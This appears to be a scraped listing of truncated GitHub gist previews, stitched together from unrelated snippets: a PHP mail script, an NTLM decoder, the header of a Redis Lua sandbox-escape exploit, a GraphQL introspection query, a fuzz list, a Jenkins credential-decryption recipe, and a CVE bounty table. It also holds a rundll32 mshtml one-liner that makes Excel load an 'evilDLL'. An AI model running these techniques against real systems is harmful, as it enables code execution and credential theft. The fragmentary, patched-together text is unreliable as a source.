Nicolas Grekas - nicolas.grekas, gmail.com
17 June 2011 - Last updated on 3 sept. 2011
Not updated any more on this gist. See:
| <?php | |
| if (!isset($_GET['mail'])) | |
| highlight_file(__FILE__) && exit(); | |
| $mail = filter_var($_GET['mail'], FILTER_VALIDATE_EMAIL); | |
| $addr = filter_var($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP); | |
| $country = geoip_country_code_by_name($addr); | |
| if (!$addr || strlen($addr) == 0) die('bad addr'); | |
| if (!$mail || strlen($mail) == 0) die('bad mail'); |
| #!/usr/bin/env python | |
| ## Decodes NTLM "Authenticate" HTTP-Header blobs. | |
| ## Reads the raw blob from stdin; prints out the contained metadata. | |
| ## Supports (auto-detects) Type 1, Type 2, and Type 3 messages. | |
| ## Based on the excellent protocol description from: | |
| ## <http://davenport.sourceforge.net/ntlm.html> | |
| ## with additional detail subsequently added from the official protocol spec: | |
| ## <http://msdn.microsoft.com/en-us/library/cc236621.aspx> | |
| ## |
| ## Redis Lua 5.1 sandbox escape 32-bit Linux exploit | |
| ## Original exploit by corsix and sghctoma | |
| ## Author: @c3c | |
| ## It's possible to abuse the Lua 5.1 sandbox to obtain RCE by loading modified bytecode | |
| ## This concept is fully explained on corsix' gist at https://gist.github.com/corsix/6575486 | |
| ## This version uses pieces of the 32-bit Windows exploit made by corsix and the 64-bit Linux exploit made by sghctoma; as expected, a few offsets were different | |
| ## sghctoma's exploit uses the arbitrary memory read to leak pointers to libc and find the address of "system" http://paper.seebug.org/papers/Security%20Conf/Defcon/2015/DEFCON-23-Tamas-Szakaly-Shall-We-Play-A-Game.pdf | |
| ## This code is much the same, except the process is done using pwntools' DynELF | |
| ## Furthermore, attempting to leak addresses in libc appears to cause segfaults on my 32-bit Linux, in which case, you will need to obtain the remote libc version |
| query IntrospectionQuery { | |
| __schema { | |
| queryType { name } | |
| mutationType { name } | |
| subscriptionType { name } | |
| types { | |
| ...FullType | |
| } | |
| directives { |
| . | |
| .. | |
| ........ | |
| @ | |
| * | |
| *.* | |
| *.*.* | |
| 🎠|
Nicolas Grekas - nicolas.grekas, gmail.com
17 June 2011 - Last updated on 3 sept. 2011
Not updated any more on this gist. See:
| #To Decrypt Jenkins Password from credentials.xml | |
| #<username>jenkins</username> | |
| #<passphrase>your-sercret-hash-S0SKVKUuFfUfrY3UhhUC3J</passphrase> | |
| #go to the jenkins url | |
| http://jenkins-host/script | |
| #In the console paste the script | |
| hashed_pw='your-sercret-hash-S0SKVKUuFfUfrY3UhhUC3J' |
| REM rundll32 mshtml.dll HTA one-liner command: | |
| rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close(); |
| cve | product | bounty | source | |
|---|---|---|---|---|
| CVE-2014-0257 | .NET Framework | 5,000.00 | https://hackerone.com/reports/18851 | |
| CVE-2015-3842 | Android | 2,000.00 | https://code.google.com/p/android/issues/detail?id=177610 | |
| CVE-2015-3847 | Android | 1,500.00 | https://code.google.com/p/android/issues/detail?id=179147 | |
| CVE-2015-3860 | Android | 500.00 | https://code.google.com/p/android/issues/detail?id=178139 | |
| CVE-2015-3862 | Android | 333.00 | https://code.google.com/p/android/issues/detail?id=181895 | |
| CVE-2015-3865 | Android | 1,500.00 | https://code.google.com/p/android/issues/detail?id=182294 | |
| CVE-2015-3867 | Android | 4,000.00 | https://code.google.com/p/android/issues/detail?id=182838 | |
| CVE-2015-3868 | Android | 4,000.00 | https://code.google.com/p/android/issues/detail?id=182146 | |
| CVE-2015-3869 | Android | 3,000.00 | https://code.google.com/p/android/issues/detail?id=182053 |
| #!/usr/bin/sudo sh | |
| ## ruby_revealer.sh -- decrypt obfuscated GHE .rb files. 2.0.0 to 2.3.1+. | |
| ## From `strings ruby_concealer.so`: | |
| ## | |
| ## > This obfuscation is intended to discourage GitHub Enterprise customers | |
| ## > from making modifications to the VM. | |
| ## | |
| ## Well, good, as long as its not intended to discourage *me* from doing this! |